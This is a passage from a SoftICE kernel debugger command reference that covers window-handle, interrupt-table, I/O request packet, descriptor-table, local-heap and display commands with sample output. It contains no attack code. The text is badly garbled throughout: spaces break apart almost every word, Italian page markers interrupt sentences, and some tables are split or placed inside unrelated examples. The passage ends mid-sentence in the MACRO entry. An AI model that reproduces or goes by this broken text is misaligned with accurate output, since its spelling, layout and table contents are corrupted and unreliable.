hwnd- t ype Wi ndow handl e or poi nt er t o a wi ndow st r uct ur e.
deskt op- t ype Deskt op handl e or deskt op poi nt er t o a wi ndow st r uct ur e ( 3. 51
onl y) .
pr ocess- t ype, t hr ead-
Pagina 711 di 991
t ype or modul e- t ype Wi ndow owner - t ype. A val ue t hat Sof t I CE can i nt er pr et as
bei ng of a
speci f i c t ype such as pr ocess name, t hr ead I D, or modul e i mage base.
cl ass name Name of a r egi st er ed wi ndow cl ass.

%Use
The HWND command enumer at es and di spl ays i nf or mat i on about wi ndow handl es.

The HWND command al l ows you t o i sol at e wi ndows t hat ar e owned by a par t i cul ar
pr ocess,
t hr ead or modul e, when you speci f y a par amet er of t he appr opr i at e t ype.

The - eXt ended opt i on shows ext ended i nf or mat i on about each wi ndow.

When you speci f y t he - eXt ended opt i on, or an owner - t ype as a par amet er , t he
HWND
command wi l l not aut omat i cal l y enumer at e chi l d wi ndows. Speci f yi ng t he -
Chi l dr en opt i on
f or ces al l chi l d wi ndows t o be enumer at ed ( r egar dl ess of whet her t hey meet any
speci f i ed
sear ch cr i t er i a) .

%Out put
For each HWND t hat i s enumer at ed, t he f ol l owi ng i nf or mat i on i s di spl ayed:
Handl e
HWND handl e ( r ef er t o OBJ TAB on page 147 f or mor e
i nf or mat i on) . Each wi ndow handl e i s i ndent ed t o show i t s chi l d and
si bl i ng r el at i onshi ps t o ot her wi ndows.
Cl ass
Regi st er ed cl ass name f or t he wi ndow, i f avai l abl e ( r ef er t o CLASS on
page 48 f or mor e i nf or mat i on) .
Wi nPr oc
Addr ess of t he message cal l back pr ocedur e. Dependi ng on t he cal l back
t ype, t hi s val ue i s di spl ayed as a 32- bi t f l at addr ess or 16- bi t
sel ect or : of f set .
TI D
Owni ng t hr ead I D.
Modul e
Owni ng modul e name ( i f avai l abl e) . I f t he modul e name i s unknown,
t he modul e handl e wi l l be di spl ayed as a 32- bi t f l at addr ess or 16- bi t
sel ect or : of f set , dependi ng on t he modul e t ype.

%Exampl e
The f ol l owi ng exampl e uses t he HWND command wi t hout par amet er s or opt i ons:
HWND
Handl e_Cl ass____________Wi nPr oc_TI D___Modul e
01001E #32769 ( Deskt op) 5FBFE425 24 wi nsr v
050060 #32770 ( Di al og) 60A29304 18 wi nl ogon
010044 SAS wi ndow cl ass 022A49C4 18 wi nl ogon
010020 #32768 ( PopupMenu) 5FBEDBD5 24 wi nsr v
010022 #32769 ( Deskt op) 5FBFE425 24 wi nsr v
010024 #32768 ( PopupMenu) 5FBEDBD5 24 wi nsr v
030074 Shel l _Tr ayWnd 0101775E 67 Expl or er
030072 But t on 01012A4E 67 Expl or er
0800AA Tr ayNot i f yWnd 010216C4 67 Expl or er
03003E Tr ayCl ockWCl ass 01028C85 67 Expl or er
030078 MSTaskSwWCl ass 01022F69 67 Expl or er
030076 SysTabCont r ol 32 712188A8 67 Expl or er
05007A t ool t i ps_cl ass32 7120B43A 67 Expl or er
03003C t ool t i ps_cl ass32 7120B43A 67 Expl or er
2E00F0 NDDEAgnt 016E18F1 4B nddeagnt
1C0148 CLI PBOARDWNDCLASS 034F: 2918 2C OLE2
9B0152 DdeCommonWi ndowCl ass 77C2D88B 2C ol e32
Pagina 712 di 991
3200F2 Ol eObj ect RpcWi ndow 77C2D73B 2C ol e32
0800A2 DdeCommonWi ndowCl ass 77C2D88B 67 ol e32
030086 Ol eMai nThr eadWndCl ass 77C2DCF2 67 ol e32
030088 Ol eObj ect RpcWi ndow 77C2D73B 67 ol e32
03008A Pr oxyTar get 71E6869A 67 shel l 32
03008C Pr oxyTar get 71E6869A 67 shel l 32
030070 Pr oxyTar get 71E6869A 67 shel l 32
04007C Pr oxyTar get 71E6869A 67 shel l 32
0400CC OTCl ass 0100D7F3 67 Expl or er
0300CA DDEMLEvent 5FC216AB 67 wi nsr v
0300C6 DDEMLMom60A2779D 67 00000000
0300C0 #42 0BB7: 0776 78 MMSYSTEM
0300D2 WOWFaxCl ass 01F9F7A8 78 WOWEXEC
060062 Consol eWi ndowCl ass 5FCD23C7 2B wi nsr v
0300B4 WOWExecCl ass 03CF: 0B3E 78 WOWEXEC
030068 Pr ogman 0101B1D3 67 Expl or er
0E00BC SHELLDLL_Def Vi ew 71E300E8 67 shel l 32
040082 SysLi st Vi ew32 7121A0EC 67 shel l 32
030080 SysHeader 32 7120B06F 67 shel l 32

Not es: You may have not i ced t hat t he out put f r omt he pr evi ous exampl e
enumer at ed t wo
deskt op wi ndows ( handl es 1001E and 10022) , each wi t h i t s own separ at e wi ndow
hi er ar chy. Thi s i s because t he syst emcan cr eat e mor e t han one obj ect of t ype
Deskt op,
and each Deskt op obj ect has i t s own Deskt op Wi ndow whi ch def i nes t he wi ndow
hi er ar chy. I f you use t he HWND command i n a cont ext t hat does not have an
assi gned Deskt op, t he HWND command enumer at es al l obj ect s of t ype Deskt op.
Because t he syst emmay have cr eat e mor e t han one obj ect of t ype Deskt op, t he
HWND command accept s a Deskt op- t ype handl e as a par amet er . Thi s al l ows t he
wi ndow hi er ar chy f or a speci f i c Deskt op t o be enumer at ed. You can use t he
command
OBJ TAB DESK t o enumer at e al l exi st i ng deskt ops i n t he syst em.

The f ol l owi ng i s an exampl e of usi ng t he HWND command f or a speci f i c wi ndow
handl e:
HWND 400a0
Handl e Cl ass Wi nPr oc TI D Modul e
0400A0 Pr ogman 0101B1D3 74 Expl or er

The f ol l owi ng i s an exampl e of enumer at i ng onl y t hose wi ndows owned by t hr ead
74:
HWND 74

Handl e Cl ass Wi nPr oc TI D Modul e
2F00F0 Shel l _Tr ayWnd 0101775E 74 Expl or er
0500CE But t on 01012A4E 74 Expl or er
0500C4 Tr ayNot i f yWnd 010216C4 74 Expl or er
040074 Tr ayCl ockWCl ass 01028C85 74 Expl or er
0500C6 MSTaskSwWCl ass 01022F69 74 Expl or er
0400C8 SysTabCont r ol 32 712188A8 74 Expl or er
3700F2 t ool t i ps_cl ass32 7120B43A 74 Expl or er
040066 t ool t i ps_cl ass32 7120B43A 74 Expl or er
0F00BC DdeCommonWi ndowCl ass 77C2D88B 74 ol e32
040068 Ol eMai nThr eadWndCl ass 77C2DCF2 74 ol e32
0500CC Ol eObj ect RpcWi ndow 77C2D73B 74 ol e32
2600BA Pr oxyTar get 71E6869A 74 shel l 32
0400D0 Pr oxyTar get 71E6869A 74 shel l 32
0400CA Pr oxyTar get 71E6869A 74 shel l 32
070094 Pr oxyTar get 71E6869A 74 shel l 32
04009E OTCl ass 0100D7F3 74 Expl or er
480092 DDEMLEvent 5FC216AB 74 wi nsr v
09004A DDEMLMom60A2779D 74 00000000
Pagina 713 di 991
0400A0 Pr ogman 0101B1D3 74 Expl or er
0500C0 SHELLDLL_Def Vi ew 71E300E8 74 shel l 32
070090 SysLi st Vi ew32 7121A0EC 74 shel l 32
050096 SysHeader 32 7120B06F 74 shel l 32

Not e: A pr ocess- name al ways over r i des a modul e of t he same name. To sear ch by
modul e,
when t her e i s a name conf l i ct , use t he modul e handl e ( base addr ess or modul e-
dat abase
sel ect or ) i nst ead. Al so, modul e names ar e al ways cont ext sensi t i ve. I f t he
modul e i s not
l oaded i n t he cur r ent cont ext ( or t he CSRSS cont ext ) , t he HWND command
i nt er pr et s t he modul e name as a cl ass name i nst ead.

The f ol l owi ng exampl e shows t he out put when t he - eXt ended opt i on i s used:
HWND - x 400a0
Hwnd : 0400A0 ( 7F2D7148)
Cl ass Name : Pr ogman
Modul e : Expl or er
Wi ndow Pr oc : 0101B1D3
Wi n Ver si on : 4. 00
Ti t l e : Pr ogr amManager
Deskt op : 02001F ( 00402D58)
Par ent : 010022 ( 7F2D0C28)
1st Chi l d : 0500C0 ( 7F2D7600)
St yl e : CLI PCHI LDREN | CLI PSI BLI NGS | VI SI BLE | POPUP
Ex. St yl e : TOOLWI NDOW| A0000000
Wi ndow Rect : 0, 0, 1024, 768 ( 1024 x 768)
Cl i ent Rect : 0, 0, 1024, 768 ( 1024 x 768)

: I
^I Wi ndows 3. 1, Wi ndows 95, Wi ndows NT I / OPor t
^I nput a val ue f r oman I / O por t .

%Synt ax
I [ si ze] por t

si ze
por t Por t addr ess.

%Use
The I command i n most cases does an act ual I / O i nst r uct i on so i t i s showi ng t he
act ual st at e
of t he har dwar e por t . I n t he case of vi r t ual i zed por t s, t he act ual dat a may not
be t he same as
t he vi r t ual i zed dat a t hat an appl i cat i on woul d see.

The onl y por t s t hat Sof t I CE does not do I / O on ar e t he i nt er r upt mask r egi st er s
( Por t 21 and
A1) . For t hose por t s, Sof t I CE shows t he val ue t hat exi st ed when Sof t I CE popped
up.
Use t he i nput f r ompor t commands t o r ead and di spl ay a val ue f r oma har dwar e
por t . I nput
can be done f r ombyt e, wor d, or dwor d por t s. I f you do not speci f y si ze, t he
def aul t i s B.

%Exampl e
Per f or ms an i nput f r ompor t 21, whi ch i s t he mask r egi st er f or i nt er r upt
cont r ol l er one.
I 21
Val ue Descr i pt i on
B Byt e
WWo r d
Pagina 714 di 991
D DWORD


: I 1HERE
^I 1HERE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT ModeCont r ol
^Pop up on embedded I NT 1 i nst r uct i ons.

%Synt ax
I 1HERE [ on | of f ]

%Use
Use t he I 1HERE command t o speci f y t hat any embedded i nt er r upt 1 br i ng up t he
Sof t I CE
scr een. Thi s f eat ur e i s usef ul f or st oppi ng your pr ogr ami n a speci f i c
l ocat i on. Bef or e poppi ng
up, Sof t I CE checks t o see t hat t her e i s r eal l y an I NT 1 i n t he code. I f t her e
i s not , Sof t I CE wi l l
not pop up.

To use t hi s f eat ur e, pl ace an I NT 1 i nt o t he code i mmedi at el y bef or e t he
l ocat i on wher e you
want t o st op. When t he I NT 1 occur s, i t br i ngs up t he Sof t I CE scr een. At t hi s
poi nt , t he
cur r ent EI P i s t he i nst r uct i on af t er t he I NT 1 i nst r uct i on.
I f you do not speci f y a par amet er , t he cur r ent st at e of I 1HERE di spl ays.

The def aul t i s I 1HERE of f .

Thi s command i s usef ul when you ar e usi ng an appl i cat i on debuggi ng t ool such as
BoundsChecker . Si nce t hese t ool s r el y on I NT 3' s f or br eakpoi nt not i f i cat i ons,
you shoul d use
I NT 1s i n your code so t hat t he t ool s do not become conf used when your
har dwi r ed
i nt er r upt s occur .

For Wi ndows 3. 1 and Wi ndows 95
VMM, t he Wi ndows memor y management VxD, execut es I NT 1 i nst r uct i ons pr i or t o
cer t ai n f at al exi t s. I f you have I 1HERE ON, you can t r ap t hese. The I NT 1s
gener at ed by
VMM ar e most of t en caused by a page f aul t wi t h t he r egi st er s set up as f ol l ows:
. EAX=f aul t i ng addr ess
. ESI poi nt s t o an ASCI I message
. EBP poi nt s t o a CRS ( Cl i ent Regi st er St r uct ur e as def i ned i n t he DDK i ncl ude
f i l e
VMM. I NC) .

%Exampl e
Tur ns on I 1HERE mode. Any I NT 1s gener at ed af t er t hi s poi nt br i ng up t he
Sof t I CE scr een.
I 1HERE on

: I 3HERE
^I 3HERE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT ModeCont r ol
^Pop up on I NT 3 i nst r uct i ons.

%Synt ax
I 3HERE [ on | of f ]

%Use
Use t he I 3HERE command t o speci f y t hat any i nt er r upt 3 pop up Sof t I CE. Thi s
f eat ur e i s
usef ul f or st oppi ng your pr ogr ami n a speci f i c l ocat i on.

Pagina 715 di 991
To use t hi s f eat ur e, pl ace an I NT 3 i nt o your code i mmedi at el y bef or e t he
l ocat i on wher e you
want t o st op. When t he I NT 3 occur s, i t br i ngs up t he Sof t I CE scr een. At t hi s
poi nt , t he
cur r ent EI P i s t he i nst r uct i on af t er t he I NT 3 i nst r uct i on.

I f you ar e devel opi ng a Wi ndows pr ogr am, t he DebugBr eak( ) Wi ndows API r out i ne
per f or ms an I NT 3.

I f you do not speci f y a par amet er , t he cur r ent st at e of I 3HERE di spl ays.
Not e: I f you ar e usi ng an appl i cat i on debuggi ng t ool such as t he Vi sual C
debugger or
NuMega' s BoundsChecker , you shoul d pl ace I NT 1s i n your code i nst ead of I NT 3s.
Ref er t o I 1HERE on page 114.

%Exampl e
Tur ns on I 3HERE mode. Any I NT 3s gener at ed af t er t hi s poi nt cause Sof t I CE t o
pop up.
I 3HERE on

When t he command I 3HERE==ON, and you ar e usi ng a l evel - 3 debugger , such as
BoundsChecker , Sof t I CE t r aps on any I NT 3 br eakpoi nt s i nst al l ed by t he l evel - 3
debugger .
When t hi s happens, set I 3HERE==OFF, and use t he GENI NT command t o r eact i vat e
t he
br eakpoi nt . Thi s r et ur ns cont r ol t o t he l evel - 3 debugger , and Sof t I CE does not
t r ap f ur t her
I NT 3s.
I 3HERE of f
GENI NT 3


: I DT
^I DT Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he I nt er r upt Descr i pt or Tabl e.

%Synt ax
I DT [ i nt er r upt - number ]

i nt er r upt - number I nt er r upt - number t o di spl ay i nf or mat i on
%Use
The I DT command di spl ays t he cont ent s of t he I nt er r upt Descr i pt or Tabl e af t er
r eadi ng t he
I DT r egi st er t o obt ai n i t s addr ess.

The I DT command wi t hout par amet er s di spl ays t he I DT' s base addr ess and l i mi t ,
as wel l as
t he cont ent s of al l ent r i es i n t he t abl e. I f you speci f y an opt i onal i nt er r upt -
number , onl y
i nf or mat i on about t hat ent r y i s di spl ayed.

For Wi ndows NT
Al most al l i nt er r upt handl er s r esi de i n NTOSKRNL, so i t i s ver y usef ul t o have
expor t s
l oaded f or i t so t hat t he handl er names ar e di spl ayed.

Not e: NTOSKRNL must be t he cur r ent symbol t abl e ( r ef er t o TABLE on page 194) t o
vi ew
symbol names.

%Out put
Each l i ne of t he di spl ay cont ai ns t he f ol l owi ng i nf or mat i on:
i nt er r upt number 0 - 0FFh ( 5Fh f or Wi ndows 3. 1, Wi ndows 95) .
Pagina 716 di 991
i nt er r upt t ype One of t he f ol l owi ng:
addr ess Sel ect or : of f set of t he i nt er r upt handl er .
Type Descr i pt i on
Cal l G32 32- bi t Cal l Gat e
Cal l G16 16- bi t Cal l Gat e
TaskG Task Gat e
Tr apG16 16- bi t Tr ap Gat e
Tr apG32 32- bi t Tr ap Gat e
I nt G32 32- bi t I nt er r upt Gat e
I nt G16 16- bi t I nt er r upt Gat e

sel ect or ' s DPL Sel ect or ' s descr i pt or pr i vi l ege l evel ( DPL) , whi ch i s ei t her 0,
1, 2 or 3.
pr esent bi t P or NP, i ndi cat i ng whet her t he ent r y i s pr esent or not pr esent .
Owner +Of f set For Wi ndows 95 and Wi ndows NT onl y: Symbol or owner name pl us
t he of f set f r omt hat symbol or owner .

%Exampl e
The f ol l owi ng command shows par t i al out put of t he I DT command wi t h no
par amet er s:
. : I DT
I nt Type Sel : Of f set At t r i but es Symbol / Owner
I DTbase=C000ABBC Li mi t =02FF
0000 I nt G32 0028: C0001200 DPL=0 P VMM( 01) +0200
0001 I nt G32 0028: C0001210 DPL=3 P VMM( 01) +0210
0002 I nt G32 0028: C00EEDFC DPL=0 P VTBS( 01) +1D04
0003 I nt G32 0028: C0001220 DPL=3 P VMM( 01) +0220
0004 I nt G32 0028: C0001230 DPL=3 P VMM( 01) +0230
0005 I nt G32 0028: C0001240 DPL=3 P VMM( 01) +0240
0006 I nt G32 0028: C0001250 DPL=0 P VMM( 01) +0250
0007 I nt G32 0028: C0001260 DPL=0 P VMM( 01) +0260
0008 TaskG 0068: 00000000 DPL=0 P
0009 I nt G32 0028: C000126C DPL=0 P VMM( 01) +026C
000A I nt G32 0028: C000128C DPL=0 P VMM( 01) +028C

The next command shows t he cont ent s of one ent r y i n t he I DT:
. : I DT d
I nt Type Sel : Of f set At t r i but es Symbol / Owner
000D I nt G32 0028: C00012B0 DPL=0 P VMM( 01) +02B0


: I RP
^I RP Wi ndows NT Syst emI nf or mat i on
^Di spl ay i nf or mat i on about an I / O Request Packet ( I RP) .

%Synt ax
I RP [ i r p- addr ess]

i r p- addr ess Addr ess of t he st ar t of t he I RP st r uct ur e t o be di spl ayed.

%Use
The I RP command di spl ays t he cont ent s of t he I / O Request Packet and t he
cont ent s of
associ at ed cur r ent I / O st ack l ocat ed at t he speci f i ed addr ess. The command does
not check f or
t he val i di t y of t he I RP st r uct ur e bei ng shown, so any addr ess wi l l be accept ed
by Sof t I CE as
an i r p- addr ess.

The I RP f i el ds shown by Sof t I CE ar e not document ed i n t hei r ent i r et y her e, as
adequat e
i nf or mat i on about t hemcan be f ound i n NTDDK. H i n t he Wi ndows NT DDK. A f ew
f i el ds
Pagina 717 di 991
deser ve speci al ment i on, however , si nce devi ce dr i ver wr i t er s f i nd t hem
par t i cul ar l y usef ul :
Fl ags Fl ags used t o def i ne I RP at t r i but es.

St ackCount The number of st ack l ocat i ons t hat have been al l ocat ed f or t he I RP.
A
common devi ce dr i ver bug i s t o access non- exi st ent st ack l ocat i ons, so
t hi s val ue may be usef ul i n det er mi ni ng when t hi s has occur r ed.
Cur r ent Locat i on Thi s number i ndi cat es whi ch st ack l ocat i on i s t he cur r ent one
f or t he
I RP. Agai n, t hi s val ue, combi ned wi t h t he pr evi ous St ackCount , can
be used t o t r ack down I RP st ack- r el at ed bugs.

Cancel
Thi s bool ean i s set t o TRUE i f t he I RP has been cancel l ed as a r esul t
of an I RP cancel l at i on cal l . Thi s happens when t he I RP' s r esul t i s no
l onger needed so t he I RP wi l l not compl et e.
Tai l . Over l ay.
Cur r ent St ackLoc
Addr ess of cur r ent st ack l ocat i on. The cont ent s of t hi s st ack l ocat i on
ar e di spl ayed af t er t he I RP, as i l l ust r at ed i n t he exampl e f or t hi s
command.
Cancel
Thi s bool ean i s set t o TRUE i f t he I RP has been cancel l ed as a r esul t
of an I RP cancel l at i on cal l . Thi s happens when t he I RP' s r esul t i s no
l onger needed so t he I RP wi l l not compl et e.

These f i el ds i n t he cur r ent st ack l ocat i on may be usef ul :
Maj or Funct i on and Mi nor Funct i on
These f i el ds i ndi cat e what t ype of r equest t he I RP i s bei ng used f or .
The maj or f unct i on i s used i n det er mi ni ng whi ch r equest handl er wi l l
be cal l ed when an I RP i s r ecei ved by a devi ce dr i ver .
Devi ce Obj ect
Poi nt er t o t he devi ce obj ect t hat t he I RP i s cur r ent l y st at i oned at . I n
ot her wor ds, t he I RP has been sent t o, and i s i n t he pr ocess of bei ng
r ecei ved by, t he devi ce dr i ver owni ng t he devi ce obj ect .
Fi l e Obj ect
Poi nt er t o t he f i l e obj ect associ at ed wi t h t he I RP. I t can cont ai n
addi t i onal i nf or mat i on t hat ser ves as I RP par amet er s. For exampl e, f i l e
syst emdr i ver s use t he f i l e obj ect pat h name f i el d t o det er mi ne t he
t ar get f i l e of a r equest .
Compl et i on Rout
Thi s f i el d i s set when a dr i ver set s a compl et i on r out i ne f or an I RP
t hr ough t he I oSet Compl et i onRout i ne cal l . I t s val ue i s t he addr ess of
t he r out i ne t hat wi l l be cal l ed when a l ower - l evel dr i ver ( associ at ed
wi t h a st ack l ocat i on one gr eat er t han t he cur r ent one) compl et es
ser vi ci ng of t he I RP and si gnal s t hat i t has done so wi t h
I oCompl et eRequest .

%Exampl e
The f ol l owi ng exampl e shows t he out put f or t he I RP command:
. : I RP eax
Mdl Addr ess * : 00000000
Fl ags : 00000404 I RP_SYNCHRONOUS_API | I RP_CLOSE_OPERATI ON
Associ at edI r p : 00000000
&Thr eadLi st Ent r y : FD8D9B18
I oSt at us : 00000000
Request or Mode : 00
Pendi ngRet ur ned : Fal se
St ackCount : 03
Cur r ent Locat i on : 03
Cancel : Fal se
Cancel I r ql : 00
Pagina 718 di 991
ApcEnvi r onment : 00
Zoned : Tr ue
User I osb * : FD8D9B20
User Event * : FB11FB40
Over l ay : 00000000 00000000
Cancel Rout i ne * : 00000000
User Buf f er * : 00000000
Tai l . Over l ay
&Devi ceQueueEnt r y : FD8D9B48
Thr ead * : FD80A020
Auxi l i ar yBuf f er * : 00000000
&Li st Ent r y : FD8D9B60
Cur r ent St ackLoc * : FD8D9BC0
Or i gFi l eObj ect * : FD819E08
Tai l . Apc * : FD8D9B48
Tai l . Compl Key : 00000000
Cur r ent St ackLocat i on:
Maj or Funct i on : 12 I RP_MJ _CLEANUP
Mi nor Funct i on : 00
Cont r ol : 00
Fl ags : 00
Ot her s : 00000000 00000000 00000000 00000000
Devi ceObj ect * : FD851E40
Fi l eObj ect * : FD819E08
Compl et i onRout * : 00000000
Cont ext * : 00000000


: LDT
^LDT Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he Local Descr i pt or Tabl e.

%Synt ax
LDT [ sel ect or ]

sel ect or St ar t i ng LDT sel ect or t o di spl ay.

%Use
The LDT command di spl ays t he cont ent s of t he Local Descr i pt or Tabl e af t er
r eadi ng i t s
l ocat i on f r omt he LDT r egi st er . I f t her e i s no LDT, an er r or message wi l l be
pr i nt ed. I f you
speci f y an opt i onal sel ect or , onl y i nf or mat i on on t hat sel ect or i s di spl ayed.
I f t he st ar t i ng
sel ect or i s a GDT sel ect or ( bi t 2 i s 0) , t he GDT di spl ays r at her t han t he LDT.
The f i r st l i ne of
out put cont ai ns t he base addr ess and l i mi t of t he LDT.

For Wi ndows 95 and Wi ndows NT
Even when t her e i s no LDT, t he LDT command can di spl ay an LDT you suppl y as a
command par amet er . Thi s opt i onal par amet er can be a GDT sel ect or t hat
r epr esent s an LDT.
You can l ocat e sel ect or s of t ype LDT wi t h t he GDT command.

For Wi ndows NT
The LDT command i s pr ocess speci f i c and onl y wor ks i n pr ocesses t hat have an
LDT. Use t he
ADDR command t o det er mi ne whi ch pr ocesses cont ai n LDTs. Use ADDR t o swi t ch t o
t hose
pr ocesses, t hen use t he LDT command t o exami ne t hei r LDTs.

%Out put
Each l i ne of t he di spl ay cont ai ns t he f ol l owi ng i nf or mat i on:
Pagina 719 di 991
sel ect or val ue Lower t wo bi t s of t hi s val ue r ef l ect t he descr i pt or pr i vi l ege
l evel .
sel ect or t ype
Type Descr i pt i on
Code16 16- bi t code sel ect or
Dat a16 16- bi t dat a sel ect or
Code32 32- bi t code sel ect or
Dat a32 32- bi t dat a sel ect or
Cal l G32 32- bi t Cal l Gat e sel ect or
Cal l G16 16- bi t Cal l Gat e sel ect or

sel ect or base
Li near base addr ess of t he sel ect or .
sel ect or l i mi t
Si ze of t he sel ect or .
sel ect or DPL
Sel ect or ' s descr i pt or pr i vi l ege l evel ( DPL) , ei t her 0, 1, 2 or 3.
pr esent bi t
P or NP, i ndi cat i ng whet her t he sel ect or i s pr esent or not pr esent .
segment at t r i but es
One of t he f ol l owi ng:

%Exampl e
The f ol l owi ng exampl e shows sampl e out put f or t he LDT command.
. : LDT
Sel . Type Base Li mi t DPL At t r i but es
LDTbase=8008B000 Li mi t =4FFF
0004 Reser ved 00000000 00000000 0 NP
000C Reser ved 00000000 00000000 0 NP
0087 Dat a16 80001000 00000FFF 3 P RW
008F Dat a16 00847000 0000FFFF 3 P RW
0097 Dat a16 0002DA80 0000021F 3 P RW
009F Dat a16 00099940 000029FF 3 P RW
00A7 Dat a16 0001BAC0 000000FF 3 P RW
00AF Dat a16 C11D9040 0000057F 3 P RW
TaskG32 32- bi t Task Gat e sel ect or
TaskG16 16- bi t Task Gat e sel ect or
Tr apG32 32- bi t Tr ap Gat e sel ect or
Tr apG16 16- bi t Tr ap Gat e sel ect or
I nt G32 32- bi t I nt er r upt Gat e sel ect or
I nt G16 16- bi t I nt er r upt Gat e sel ect or
Reser ved Reser ved sel ect or
Type Descr i pt i on
RWDat a sel ect or i s r eadabl e and wr i t abl e.
RO Dat a sel ect or i s r ead onl y.
RE Code sel ect or i s r eadabl e and execut abl e.
EO Code sel ect or i s execut e onl y.
B TSS' s busy bi t i s set .
Type Descr i pt i on

: LHEAP
^LHEAP Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he Wi ndows l ocal heap.

%Synt ax
LHEAP [ sel ect or | modul e- name]

sel ect or LDT dat a sel ect or .
modul e- name Name of any 16- bi t modul e.

%Use
The LHEAP command di spl ays t he dat a obj ect s t hat a Wi ndows pr ogr amhas
al l ocat ed on
Pagina 720 di 991
t he l ocal heap. I f you do not speci f y a sel ect or , t he val ue of t he cur r ent DS
r egi st er i s used. The
speci f i ed sel ect or i s usual l y t he Wi ndows pr ogr am' s dat a sel ect or . To f i nd
t hi s, use t he HEAP
command on t he Wi ndows pr ogr amyou ar e i nt er est ed i n and l ook f or an ent r y of
t ype dat a.
Each sel ect or t hat cont ai ns a l ocal heap i s mar ked wi t h t he t ag LH.

I f a modul e- name i s ent er ed, Sof t I CE uses t he modul es def aul t dat a segment f or
t he heap
wal k.

For Wi ndows 95 and Wi ndows NT
To f i nd al l segment s t hat cont ai n a l ocal heap, use t he HEAP command wi t h t he -
L opt i on.
For Wi ndows NT

The LHEAP command onl y wor ks i f t he cur r ent pr ocess cont ai ns a WOWbox.

%Out put
For each l ocal heap ent r y t he f ol l owi ng i nf or mat i on di spl ays:
of f set 16- bi t of f set r el at i ve t o t he speci f i ed sel ect or base addr ess.
si ze Si ze of t he heap ent r y i n byt es.
t ype Type of ent r y. One of t he f ol l owi ng:
Type Descr i pt i on
FI X Fi xed ( not moveabl e)
MOV Moveabl e
FREE Avai l abl e memor y
handl e Handl e associ at ed wi t h each el ement . For f i xed el ement s, t he handl e i s
equal t o t he addr ess t hat i s r et ur ned f r omLocal Al l oc( ) . For moveabl e
el ement s, t he handl e i s t he addr ess t hat wi l l be passed t o Local Lock( ) .
At t he end of t he l i st , t he t ot al amount of memor y i n t he l ocal heap di spl ays.

%Exampl e
To di spl ay al l l ocal heap ent r i es bel ongi ng t o t he GDI def aul t l ocal heap, use
t he f ol l owi ng
command:
LHEAP gdi
Of f set Si ze Type Handl e
93D2 0046 Mov 0DFA
941E 0046 Mov 0C52
946A 0046 Mov 40DA
94B6 004E Mov 0C66
950A 4A52 Mov 0E52
Used: 19. 3K


: LI NES
^LI NES Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Change t he number of l i nes f or t he Sof t I CE di spl ay.

%Synt ax
For Wi ndows 3. 1
LI NES [ 25 | 43 | 50]

For Wi ndows 95 and Wi ndows NT
LI NES [ 25 | 43 | 50 | 60]

%Use
The LI NES command changes Sof t I CE' s char act er di spl ay mode. I t al l ows di f f er ent
di spl ay
modes: 25- l i ne, 43- l i ne, 50- l i ne, and 60- l i ne mode. The 43- , 50- , and 60- l i ne
modes ar e onl y
Pagina 721 di 991
val i d on VGA di spl ay adapt er s.

Usi ng LI NES wi t h no par amet er s di spl ays t he cur r ent st at e of LI NES. The def aul t
number of
di spl ay l i nes i s 25.

I f you ent er t he ALTSCR command, Sof t I CE changes t o 25- l i ne mode aut omat i cal l y.
I f you
change back t o a VGA di spl ay and want a l ar ger l i ne mode, ent er t he LI NES
command agai n.
To di spl ay i n 50- l i ne mode on a ser i al t er mi nal , f i r st pl ace t he consol e mode
of t he ser i al
t er mi nal i nt o 50- l i ne mode usi ng t he DOS MODE command.

For Wi ndows 95 and Wi ndows NT
You can di spl ay 60 l i nes f or si ngl e moni t or debuggi ng.

When debuggi ng i n ser i al mode, al l l i ne count s ar e suppor t ed f or VGA di spl ays.

%Exampl e
To change t he Sof t I CE di spl ay t o 43- l i ne mode i f you have an EGA or VGA
di spl ay, use t he
f ol l owi ng command:
LI NES 43


: LOCALS
^LOCALS Wi ndows 95, Wi ndows NT Symbol / Sour ceCommand
^Li st s l ocal var i abl es f r omt he cur r ent st ack f r ame.

%Synt ax
LOCALS

%Use
Use t he LOCALS command t o l i st l ocal var i abl es f r omt he cur r ent st ack f r ame t o
t he
Command wi ndow.

%Out put
The f ol l owi ng i nf or mat i on di spl ays f or each l ocal symbol :
. St ack Of f set
. Type def i ni t i on
. Val ue, Dat a, or st r uct ur e symbol ( {. . . } )

The t ype of l ocal det er mi nes whet her a val ue, dat a, or st r uct ur e symbol ( {. . . }
) i s di spl ayed. I f
t he l ocal i s a poi nt er , t he dat a i t poi nt s t o i s di spl ayed. I f i t i s a
st r uct ur e, t he st r uct ur e symbol
i s di spl ayed. I f t he l ocal i s nei t her a poi nt er nor a st r uct ur e, i t s val ue i s
di spl ayed.

Hi nt : You can expand st r uct ur es, ar r ays, and char act er st r i ngs t o di spl ay t hei r
cont ent s. Use
t he WL command t o di spl ay t he Local s wi ndow, t hen doubl e- cl i ck t he i t emyou
want
t o expand. Not e t hat expandabl e i t ems ar e del i neat ed wi t h a pl us ( +) mar k.

%Exampl e
The f ol l owi ng exampl e di spl ays t he l ocal var i abl es f or t he cur r ent st ack f r ame:
. : LOCALS
[ EBP- 4] st r uct _BOUNCEDATA * pdb=0x0000013F <{. . . }>
[ EBP+8] voi d * hWnd=0x000006D8
See Al so TYPES, WL
Pagina 722 di 991


: M
^M Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mi scel l aneous
^Move dat a.

%Synt ax
M sour ce- addr ess l l engt h dest - addr ess

sour ce- addr ess St ar t of addr ess r ange t o move.
l engt h Lengt h i n byt es.
dest - addr ess St ar t of dest i nat i on addr ess r ange.

%Use
The speci f i ed number of byt es ar e moved f r omt he sour ce- addr ess t o t he dest -
addr ess.

%Exampl e
Moves 2000h byt es ( 8KB) f r ommemor y l ocat i on DS: 1000h t o ES: 5000h.
M ds: 1000 l 2000 es: 5000


: MACRO
^MACRO Wi ndows 95, Wi ndows NT Cust omi zat i on
^Def i ne a new command t hat i s a super set of Sof t I CE commands.

%Synt ax
MACRO [ macr o- name] | [ *] | [ = ``macr o body' ' ]

macr o- name Case- i nsensi t i ve, 3- 8 char act er name f or t he macr o bei ng def i ned, or
t he name of an exi st i ng macr o.
macr o- body Quot ed st r i ng t hat cont ai ns a l i st of Sof t I CE commands and
